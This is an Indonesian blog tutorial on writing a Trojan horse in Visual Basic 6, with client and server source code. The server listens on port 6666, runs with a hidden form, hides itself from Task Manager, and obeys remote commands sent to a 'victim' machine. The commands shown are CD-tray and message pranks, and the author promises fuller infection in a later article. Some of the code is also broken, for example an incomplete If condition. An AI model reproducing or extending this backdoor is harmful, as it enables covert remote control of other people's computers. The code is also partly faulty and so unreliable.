Belajar Membuat virus Trojan Horse Dengan Visual Basic 6.0

Virus trojan merupakan virus yang merepotkan dan berbahaya karena itu para hacker biasanya mengunakanya untuk keperluan hacking komputer , tapi pada kesempatan kali ini saya akan mengupasnya sedikit, Tapi jangan di salah gunakan lo ini hanya sekeda untuk pembelajaran aja kq.
Pada pembuatan Trojan Horse ini (TH) ada beberapa step yang perlu kita perhatikan antara lain:
  1. Tahap Persiapan
  2. Tahap Pengerjaan
a). Client
è Interface
è Coding : Conection, Half-Execution, Error Handler, dll..+ debug
b). Server
è Coding : Open Gate, Execution, Stealth, dll.
3.  Tahap Akhir
Sekarang marilah kita mulai untuk membuat proyek kita ini. Disarankan sebelum kita memulai untuk melaksanakan suatu pekerjaan ada baiknya kita berdoa terlebih dahulu agar apapun yang kita kerjakan mendapat berkah dari Tuhan YME. Amin…..!!!!!!
1. TAHAP PERSIAPAN
Pada tahap ini yang pertama harus kita lakukan adalah membuka aplikasi Visual Basic. Setelah itu pada jendela New Project pilih Standard EXE seperti pada gambar.

Setelah itu akan tampil satu form kosong, dan tampilan default lainya.
Untuk membuat proyek ini kita tidak bisa  menggunakan tools (control) sederhana yang ditampilkan pada Toolbox. Kita memerlukan satu control tambahan yang harus kita load ke dalam Toolbar/Toolbox. Control yang kita maksud disini adalah MS WINSOCK control.
Untuk mengaktikan (memanggil) control ini kita pilih Project > Components pada Menubar. Maka akan tampil jendela component seperti pada gambar:

Lalu kita pilih Microsoft Winsock Control 6.0 dengan memberi tanda centang pada checkbox disisi kirinya (spt pada gbr). Maka pada toolbar akan tampil satu control tambahan ber-icon dua computer yang terhubung oleh garis merah seperti pada gambar berikut.

Gambar ini menandakan bahwa ms winsock control berhasil kita load ke dalam toolbar dan siap di gunakan.
Dengan tampilnya icon contol tersebut berarti persiapan kita untuk membuat proyek ini telah selesai. Maka kita akan lanjutkan ketahap berikutnya. Yaitu tahap pengerjaan.
2. TAHAP PENGERJAAN
Seperti yang sudah kita ketahui sebelumnya, umumnya program TH terdiri dari dua unit program yaitu : CLIENT dan SERVER. Saya akan coba jelaskan sedikit maksud dari kedua program ini.
Program CLIENT ialah program yang akan kita gunakan sebagai sarana pengendali (remote) dari program SERVER. Dengan kata lain program ini lah yang akan kita gunakan untuk mengeksekusi computer korban (victim) dengan bantuan SERVER yang ditanamkan pada victim.
Sedangkan program SERVER ialah program yang akan kita tanamkan pada victim dengan tujuan mengeksekusi victim itu sendiri berdasarkan instruksi yang dikirimkan oleh program CLIENT. Bingung??!!!…Sukuriiinnn…!!!!
Okey..marilah kita mulai tahap ini dengan membuat program CLIENT terlebih dahulu. Kenapa?? Karena untuk membuat program ini tidaklah terlalu sulit. OK..marilah…ehm…
Program CLIENT
Pada program ini kita akan membuat dua “Fun Menu” yaitu : Open/Close CD ROM dan Send Message.
Sekilas Info:
Sebenarnya masih banyak “Fun Menu” lain yang dapat kita tambahkan, tapi pada pembahasan kali ini  kita persingkat saja karena akan memakan banyak halaman untuk menjelaskannya. Oleh karena itu pembahasan “Fun Menu” lebih lanjut  akan saya buat pada artikel selanjutnya (“Membuat TH dengan VB6 seri 2). Untuk release artikel ke-2, tergantung dari banyaknya respon yang mendukung yang saya terima melalui e-mail di xpartacvs@gmail.com
Interface
Dalam hal ini yang kita perlukan ialah 5 command button, 2 textbox, 1 label, dan 1 winsock control. Atur sedemikian rupa sesuai selera anda pada form.

rename tiap nama control menjadi seperti dibawah ini :
Command1     – cmdConnect                      Label1       - lblStatus
Command2     – cmdDisconnect                  Text1        – txtIP
Command3     – cmdOpen                           Text2        – txtMsg
Command4     – cmdClose                           Winsock1 – tcpClient
Command5     – cmdMsg

Jangan lupa Caption dan Text pada control.
Coding
Ok saatnya coding…..
Klik ganda pada tombol Connect, lalu masukan code berikut pada jendela code:
Private Sub cmdConnect_Click()
On Error Resume Next
cmdConnect.Enabled = False
lblStatus.Caption = “Connecting..”
If txtIP.Text = “” or Then
MsgBox “Please enter a valid IP adress”, vbCritical
End If
tcpClient.Connect txtIP.Text, 6666
End Sub
Maksud dari script diatas ialah:
computer akan mematikan tombol connect. Lalu computer akan memberikan keterangan “connecting….” pada label status untuk memberikan keterangan pada anda bahwa saat ini anda sedang berusaha untuk melakukan koneksi ke computer Korban. Setelah itu computer akan mengecek apakan anda sudah mengisi IP Address atau belum. Jika belum  maka akan tampil msgbox jika sudah maka computer akan mencoba koneksi ke nomor IP yang anda masukan pada txtIP dengan nomor port 6666 (nomor port bisa diisi berapa saja, umumnya terdiri dari empat digit).

Peringatan :
Perhatikan dan ingat nomor port yang anda masukan, karena akan kita gunakan untuk program SERVER.
Klik ganda pada tombol disconnect dan masukan code berikut:
Private Sub cmdDisconnect_Click()
On Error Resume Next
LblStatus.Caption = “Not Connected”
cmdDisconnect.Enabled = False
cmdConnect.Enabled = True
tcpClient.Close
End Sub




Maksud dari script diatas ialah:
Computer akan memberi keterangan “Not Connected” pada label status untuk menginformasikan bahwa tidak ada koneksi yang sedang berjalan saat ini. Lalu Komputer akan mematikan tombol Disconnect dan menghidupkan kembali tombol Connect. Lalu computer akan memutuskan hubungan dengan Server.
Klik ganda pada Winsock dan pilih pada menu event  “Connect”. (spt pada gbr):

Lalu tambahkan kode berikut:
Private Sub tcpClient_Connect()
lblStatus.Caption = “Connected”
End Sub
Keterangan “Connected pada label status hanya akan tampil setelah SERVER merespon.
Half-Execution
Mungkin anda bertanya kenapa saya menyebutnya Half-Execution. Alasanya ialah karena pada program CLIENT ini Eksekusi yang kita inginkan belumlah dapat di jalankan tanpa bantuan SERVER. Prinsip kerja program CLIENT dalam melaksanakan eksekusi ialah hanya sebagai “Commander” atau pemberi instruksi.
Maksudnya disini  program CLIENT akan mengirimkan data berupa ‘string’ kepada program SERVER yang nantinya akan diolah (diterjemahakan) oleh program SERVER sebagai suatu perintah untuk melaksanakan eksekusi. Ok..mari kita mulai….
Klik ganda pada tombol Open cd-rom lalu tambahkan kode berikut:
Private Sub cmdOpen_Click()
tcpClient.SendData “opn”   ‘Mengirimkan string ke server
End Sub
Klik ganda pada tombol Close cd-rom lalu tamahkan kode berikut:
Private Sub cmdClose_Click()
tcpClient.SendData “cls”  ‘Mengirimkan string ke server
End Sub
Klik ganda pada tombol Send message dan tambahkan kode berikut:
Private Sub cmdMsg_Click()
tcpClient.SendData “msg” & txtMsg   ‘Mengirim string ke server beserta isi txtbox
End Sub
Selamat Program CLIENT sudah selesai…….!!!!
Debug Client
Program CLIENT yang baru kita buat diatas belumlah sempurna. Saya yakin masih banyak terdapat bug pada program tersebut. Oleh karena itu marilah kita mencoba untuk menyempurnakanya.
  1. Tombol Disconnect
Pada object ini yang pertama yang harus kita perhatikan ialah Property dari tombol ini. Saat Program dijalankan pertama kali sebaiknya tombol ini berada pada keadaan ‘disabled’ (mati). Karena seperti yang sudah kita ketahui sebelumnya fungsi dari tombol ini adalah memutuskan Koneksi ke Server.
Pada saat kita menjalankan program ini tentu saja belum ada koneksi sama sekali terhadap SERVER, oleh karena itu ada baiknya kita mematikan tombol ini dengan merubah property cmdDisconnect.Enabled manjadi false pada jendela property.
  1. On Error Resume Next
Ada baiknya sebelum mengetikan code pada badan sub, kita awali dengan mengetikan On Error Resume Next agar ketika terjadi kesalahan program kita tidak mengeluarkan pesan error dan tidak keluar dari program.
Program SERVER
Setelah program CLIENT selesai kita buat sekarang saatnya kita membuat program Executor yang sebenarnya yaitu program SERVER. Apakah program CLIENT anda masih terbuka? Sebaiknya iya agar kita lebih mudah dalam mengerjakan pogram SERVER.
Pertama jalankan kembali aplikasi visual basic seperti biasa dan pilih Standard EXE maka akan tampil tampilan default beserta tetek bengeknya…. Pada program SERVER ini kita hanya membutuhkan satu control yaitu MS WINSOCK CONTROL. Letakan satu winsock kedalam form dan beri nama tcpServer Bila belum tersedia pada toolbar, load kembali seperti pada pembahasan sebelumnya.. Dan jangan lupa mengganti nama form menjadi frmServer, jangan lupa juga untuk menguah property Visible-nya menjadi false.

Open Gate
Kita akan mulai dari terhnik termudah dulu yaitu Open Gate. Mari kita Mulai……
Klik ganda pada form lalu masukan kode berikut:
Private Sub Form_Load()
On Error Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
End Sub
Maksud dari script diatas:
Pertama winsock (tcpServer) akan mengecek pada port yang kita masukan yaitu 6666 (nomor port yang sama dengan program CLIENT). Setelah itu winsock akan membuka port tersebut dengan perintah Listen. Tujuannya ialah : agar program CLIENT yang mencoba untuk Connect ke computer korban dapat masuk melaliu port yang telah kita buka yaitu port 6666.
Sekarang kita akan memberi kode pada winsock jadi Klikganda pada winsock control dan pilih “connection request” pada combobox  event ( kalau kurang jelas lihat pembahasan pada program CLIENT)
Tambahkan kode berikut:
Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
tcpServer.Close
tcpServer.Accept requestID
End Sub
Maksud dari script diatas:
Pertama winsock akan menutup koneksi untuk menghindari terjadinya error, lalu ia akan menerima semua request yang masuk ( request dari program CLIENT).
Masih pada winsock,     pilih “error” pada combobox event dan beri kode berikut:
Private Sub tcpServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Do While tcpServer.State <> sckClosed
tcpServer.Close
loop
tcpServer.Listen
End Sub
Maksud dari script diatas:
Saat terjadi error pada koneksi, winsock akan segera menutup koneksi setelah itu ia akan membuka kembali port agar bisa dihubungi kembali oleh server.
Waw…untuk membuka pertahanan victim cukup panjang bukan? Sekarang marilah kita melangkah ke tahap berikutnya yaitu melakukan infeksi kedalam computer korban.

Execution
Sekarang saatnya kita buat program pengeksekusi yang sebenarnya. Sebelum kita masuk kebagian utama, pertama-tama tambahkan sebuah module kosong. Pilih Projectdiatas layar” dan pilih add module. Lalu buka modul kosong tsb.
Untuk membuka atau menutup CD-ROM kita perlu menggunakan fungsi API pada windows. Oleh karma itu kita perlu API viewer.
Klik pada add-ins lalu klik API Viewer. Jika anda tidak melihatnya pada daftar maka klik Add-In Manager lalu pilih kemudian tekan “OK”. Saat kamu membuka API Viewer, kamu akan melihat jendela baru. Klik File lalu pilih load textfile dan pilih WIN32API.txt truss buka dech.


Load WIN32API.txt file


Pada mciSendString seperti yang ditunjukan oleh gambar, set Declaration Scope menjadi Public lalu tambahkan pada module. Tekan Insert untuk menambahkanya secara otomatis
Sekarang kita siap untuk memberi kode pada Open / Close cd-rom. Kembali ke form dan Klik ganda pada winsock dan pilih “DataArrival” pada procedure window lalu tambahkan kode beriktu:
Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim varData As String
Dim strData As String
tcpServer.GetData strData, vbString
varData = Right(strData, Len(strData) – 3)
Select Case Cstr(strdata)
Case “opn”
mciSendString “Set CDAudio Door Open”, vbNullString, 0, 0
Case “cls”
mciSendString “Set CDAudio Door Closed”, vbNullString, 0, 0
Case “msg”
MsgBox varData, vbInformation, “Information”
End Select
End Sub
Maksud dari script diatas:
Saat data diterima, pertama program akan mendeklarasikan vardata dan strdata sebagai string dengan strdata sebagai penampung data yang masuk. Sedangkan vardata ialah data bawaan yang tidak diproses sebagai perintah ( pesan pada msgbox ). Setelah itu program akan mengambil data yang masuk dengan mengkonversinya terlebih dahulu menjadi string, jika tidak data yang masuk akan bertipe byte. Lalu program akan menyeleksi data yang masuk apakah data bernilai opn, cls, atau msg. jika data bernilai opn maka akan dilakukan perintah pembukaan CD-ROOM, jika data adalah cls maka akan dilakukan perintah penutupn CD-ROOM, dan jika data bernilai msg maka akan ditampilkan msgbox berisi pesan yang ditampung pada variael vardata.

Stealth
Untuk lebih memperpanjang umur program Trojan kita, ada baiknya kita buat program kita seolah tidak terlihat. Caranya ialah menghilangkan program dari task manager. Untuk melakukanya : Tambahkan script berikut pada sub Form_Load sehingga menjadi :
Private Sub Form_Load()
On Error Resume Next
tcpServer.LocalPort = 6666
tcpServer.Listen
App.TaskVisible = False
End Sub
3. TAHAP AKHIR
Pada tahap akhir ini saya tidak akan menjelaskan apa-apa, pada tahap ini anda tinggal mengkompile program2 yang telah dibuat tersebut dan mungkin mengadakan sedikit pengetesan dan debugging.
PENUTUP
Sebelumnya saya ucapkan terimakasih pada semua yang telah mendukung dalam penyusunan artikel ini. Selain itu saya juga mohon maaf apa bila ada kekurangan dan ketidak sempurnaan pada bahasan ini. Karena sebagai manusia saya tidak akan luput dari kesalahan. Saya juga mohon maaf yang sebesar-besarnya apabila rekan-rekan sekalian ada yang tidak menyukai artikel yang saya tulis. Artikel ini semata-mata saya buat tidak lain ialah hanya untuk Pembelajaran aja. Karena saya sadar “Diatas langit masih ada langit” jadi saya sangat mengharapkan saran dan kritik dari rekan-rekan sekalian demi kemajuan ilmu pengetahuan. Wassalam…
TAMBAHAN :
Trojan ini masih jinak.. artinya belum melakukan infeksi sehingga masih aman untuk tahap percobaan. Untuk pembahasan lengkap (pure Trojan) akan saya bahas pada artikel ke selanjutnya.
Blog, Updated at: 7/29/2011 10:27:00 PM

0 comments:

Post a Comment

ROUGER DELUFFY CHANNEL